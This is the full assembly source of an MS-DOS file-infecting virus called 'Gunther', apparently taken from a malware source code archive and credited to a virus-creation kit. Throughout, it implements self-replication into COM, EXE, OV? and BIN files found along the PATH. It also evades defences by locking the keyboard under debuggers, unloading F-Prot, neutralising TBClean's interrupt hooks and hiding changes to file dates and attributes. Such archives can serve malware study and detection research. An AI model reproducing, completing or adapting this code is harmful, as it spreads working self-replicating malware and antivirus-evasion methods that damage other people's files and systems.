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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.gunther.asm

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2021-01-12 23:44:11 +00:00
; 'Gunther': A Virus From the Virus Creation 2000 System
; The Virus Creation 2000 System is Copywrited by John Burnette
; All Rights Reserved.
; Author: Havoc The Chaos
; Notes: F<>r my lurv, Kiersten B.
; Greetings: Dark Angel, DecimatoR, Dark Avenger (You still out there?)
; The Additude Adjuster, Mucho Mass, The Old Bit Truth Crew,
; and virus writters (Except those who rely on kits and call
; them original code) everywhere!
code segment byte public
assume cs: code
org 100h
id = '=-'
begin:
call next ; Get Delta Offset
next: pop bp
sub bp, offset next
push cs
push cs
pop ds
pop es
mov byte ptr [bp + lock_keys + 3], 244
; Prefetch Cue Unchanged
lock_keys:
mov al, 128 ; Screws DEBUG
out 21h, al ; If Tracing, Lock Keyboard
mov ax, 4653h ; Remove F-Prot Utils
mov bx, 1
mov cx, 2
rep int 2Fh
mov byte ptr cs:[tb_here][bp], 0 ; Reset TB Flag
xor dx, dx
mov ds, dx
mov ax, word ptr ds:[6]
dec ax
mov ds, ax
mov cx, 0FFFFh ; CX = 64k
mov si, dx ; SI = 0
look_4_tbclean:
mov ax, word ptr ds:[si]
xor ax, 0A5F3h
je check_it ; Jump If It's TBClean
look_again:
inc si ; Continue Search
loop look_4_tbclean
jmp not_found ; TBClean Not Found
check_it:
mov ax, word ptr ds:[si+4]
xor ax, 0006h
jne look_again
mov ax, word ptr ds:[si+10]
xor ax, 020Eh
jne look_again
mov ax, word ptr ds:[si+12]
xor ax, 0C700h
jne look_again
mov ax, word ptr ds:[si+14]
xor ax, 406h
jne look_again
mov bx, word ptr ds:[si+17] ; Steal REAL Int 1 Offset
mov byte ptr ds:[bx+16], 0CFh ; Replace With IRET
mov bx, word ptr ds:[si+27] ; Steal REAL Int 3 Offset
mov byte ptr ds:[bx+16], 0CFh ; Replece With IRET
mov byte ptr cs:[tb_here][bp], 1 ; Set The TB Flag On
mov bx, word ptr ds:[si+51h] ; Get 2nd Segment of
mov word ptr cs:[tb_int2][bp], bx ; Vector Table
mov bx, word ptr ds:[si-5] ; Get Offset of 1st Copy
mov word ptr cs:[tb_ints][bp], bx ; of Vector Table
not_found:
mov cx, 9EBh
mov ax, 0FE05h
jmp $-2
add ah, 3Bh ; Hlt Instruction (Kills TD)
jmp $-10
mov ax, 0CA00h ; Exit It TBSCANX In Mem
mov bx, 'TB'
int 2Fh
cmp al, 0
je okay
ret
okay:
mov ah, 47h
xor dl, dl
lea si, [bp+offset dir_buff+1] ; Save Original Directory
int 21h
push es ; New DTA
push ds
mov ah, 1Ah
lea dx, [bp+offset newDTA]
int 21h
lea di, [bp+offset origCSIP2] ; Save For EXE
lea si, [bp+offset origCSIP]
mov cx, 4
rep movsw
mov byte ptr [bp+numinfected], 0
mov ax, 3524h ; New INT 24h Handler
int 21h
mov ax, 2524h
mov dx, offset Int24
int 21h
traverse_path proc near
push bp
pop bx
mov es, word ptr cs:[2Ch] ; ES = Environment Segment
xor di, di ; DI = Starting Offset
find_path:
mov dx,'As'
int 0F2h
lea si,[bx + path_string] ; SI points to "PATH="
lodsb ; Load First Byte in AL
mov cx,08000h ; Check 32767 Bytes
repne scasb ; Search Until The Byte Is Found
mov cx,4 ; Check The Next Four Bytes
check_next_4:
lodsb ; Load The Next Letter of "PATH="
scasb ; Compare It To Environment
jne find_path ; Get Another
loop check_next_4 ; Keep Checking
mov word ptr [bx + path_ad], di ; Save The PATH Address
mov word ptr [bx + path_ad + 2], es ; Save The PATH's Segment
lds si,dword ptr [bx + path_ad] ; DS:SI Points to PATH
lea di,[bp - 70] ; DI = Work Buffer
push cs
pop es
move_subdir:
lodsb ; Load Next Byte
cmp al,';' ; Separator?
je moved_one ; Yes, We're Done
or al,al ; End of Path?
je moved_last_one ; Yes, Quit Our Loop
stosb ; Store Byte at ES:DI
jmp short move_subdir ; Keep Transfering Characters
moved_last_one:
xor si, si ; Clear Buffer
moved_one:
mov word ptr es:[bx + path_ad],si ; Store SI in the path address
cmp si, 0 ; Done?
je done ; Done.
mov ah, 3Bh ; Change Directory
lea dx, [bx + path_ad]
int 21h
lea dx, [di + com_spec] ; Find COM Files
call infect
lea dx, [di + exe_spec] ; Find EXE Files
call infect
lea dx, [di + ovr_spec] ; Find OV? Files
call infect
lea dx, [di + bin_spec] ; Find Binary Files
call infect
jmp move_subdir ; Get Another Sub-Directory
done: ret
traverse_path endp
pop ds ; Restore DTA
pop es
mov ah, 1Ah
mov dx, 80h
int 21h
cmp sp, id ; EXE?
jne infect
restore_exe: ; Restore EXE
mov ax, ds
add ax, 10h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh ; Jump To The Original Code
origCSIP2 db ?
old3_2 db ?,?,?
origSPSS2 dd ?
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?
restore_com: ; Restore COM
mov di, 100h
push di
lea si, [bp+offset old3_2]
movsw
movsb
return: ret ; Jump To Original Code
infect:
mov cx, 7
mov ah, 4Eh ; Find First File
findfirstnext:
int 21h
jc return
cmp word ptr [bp+newDTA+33], 'AM' ; COMMAND.COM?
mov ah, 4Fh
jz findfirstnext ; Yes, So Get Another File
lea dx, [bp+newDTA+30] ; Get Attributes
mov ax, 4300h
int 21h
jc return
push cx ; Save Them
push dx
mov ax, 4301h ; Clear Attributes
push ax
xor cx, cx
int 21h
mov ax, 3D02h ; Open File, Read/Write
lea dx, [bp+newDTA+30]
int 21h
xchg ax, bx
mov ax, 5700h ; Get File Time/Date
int 21h
push cx ; Save Time/Date
push dx
mov ah, 3Fh
mov cx, 1Ah ; Read Into File
lea dx, [bp+offset readbuffer]
int 21h
mov ax, 4202h ; Move Pointer To End Of File
xor cx, cx
cwd
int 21h
cmp word ptr [bp+offset readbuffer], 'ZM' ; EXE?
jz checkexe
mov cx, word ptr [bp+offset readbuffer+1]
add cx, heap-begin+3 ; CX = Filesize
cmp ax, cx
jz jmp_close ; Already Infected
cmp ax, 65535-(endheap-begin) ; Too Large To Infect?
ja jmp_close
lea di, [bp+offset old3] ; Save First Three Bytes
lea si, [bp+offset readbuffer]
movsb
movsw
mov cx, 3 ; Encoded Jump To Virus
sub ax, cx
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 0E9h
mov byte ptr [bp+offset readbuffer], dl
jmp short continue_infect
checkexe:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp ; Not Infected, So Infect It
jmp_close:
jmp close ; Infected, So Quit
skipp: lea di, [bp+origCSIP]
lea si, [bp+readbuffer+14h]
movsw ; Save CS and IP
movsw
sub si, 0Ah ; Save SS and SP
movsw
movsw
push bx ; Filename
mov bx, word ptr [bp+readbuffer+8] ; Header Size
mov cl, 4
shl bx, cl
push dx
push ax
sub ax, bx ; File Size - Header Size
sbb dx, 0
mov cx, 10h
div cx
mov word ptr [bp+readbuffer+0Eh], ax ; SS
mov word ptr [bp+readbuffer+10h], id ; SP
mov word ptr [bp+readbuffer+14h], dx ; IP
mov word ptr [bp+readbuffer+16h], ax ; CS
pop ax
pop dx
add ax, heap-begin
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr [bp+readbuffer+2], ax
mov word ptr [bp+readbuffer+4], dx ; Fix Header
pop bx
mov cx, 1Ah
continue_infect:
mov ah, 40h
mov cx, heap-begin ; Add Virus To The End
lea dx, [bp+offset begin]
int 21h
mov ax, 4200h
xor cx, cx ; Move Pointer To Beginning
cwd
int 21h
mov ah, 40h
mov cx, 1Ah ; Write Encoded Jump To Virus
lea dx, [bp+offset readbuffer]
int 21h
inc [bp+numinfected] ; Infection Good
close:
mov ax, 5701h ; Set Orig Date and Time
pop dx
pop cx
int 21h
mov ah, 3Eh ; Close File
int 21h
pop ax ; Restore Attributes
pop dx
pop cx
int 21h
cmp [bp+numinfected], 5
jae bye
mov ah, 4Fh ; No, So Find Another File
jmp findfirstnext
mov ax, 2524h ; New INT 24h Handler
pop dx
pop ds
int 21h
mov ah, 3Bh ; Function: Change Directory
lea dx, [bp+dir_buff] ; Restore Current Directory
int 21h ; Execute Function
bye: ret
Int24: mov ax, 3 ; Error Handling
iret
exe_spec db '*.EXE',0 ; EXE Filespec
ovr_spec db '*.OV?',0 ; OV? Filespec
bin_spec db '*.BIN',0 ; BIN Filespec
com_spec db '*.COM',0 ; COM Filespec
path_string db "PATH=" ; The PATH String To Search For
heap:
donebin db 0
dir_buff db 64 dup (0) ; Current Dir Buffer
newdta db 43 dup (?) ; New Disk Transfer Access
numinfected db ? ; Number Of Files Infected
path_ad dd ? ; Holds The PATH's Address
tb_ints dd 0
tb_int2 dd 0
tb_here db 0
readbuffer db 1ah dup (?)
endheap:
code ends
end begin
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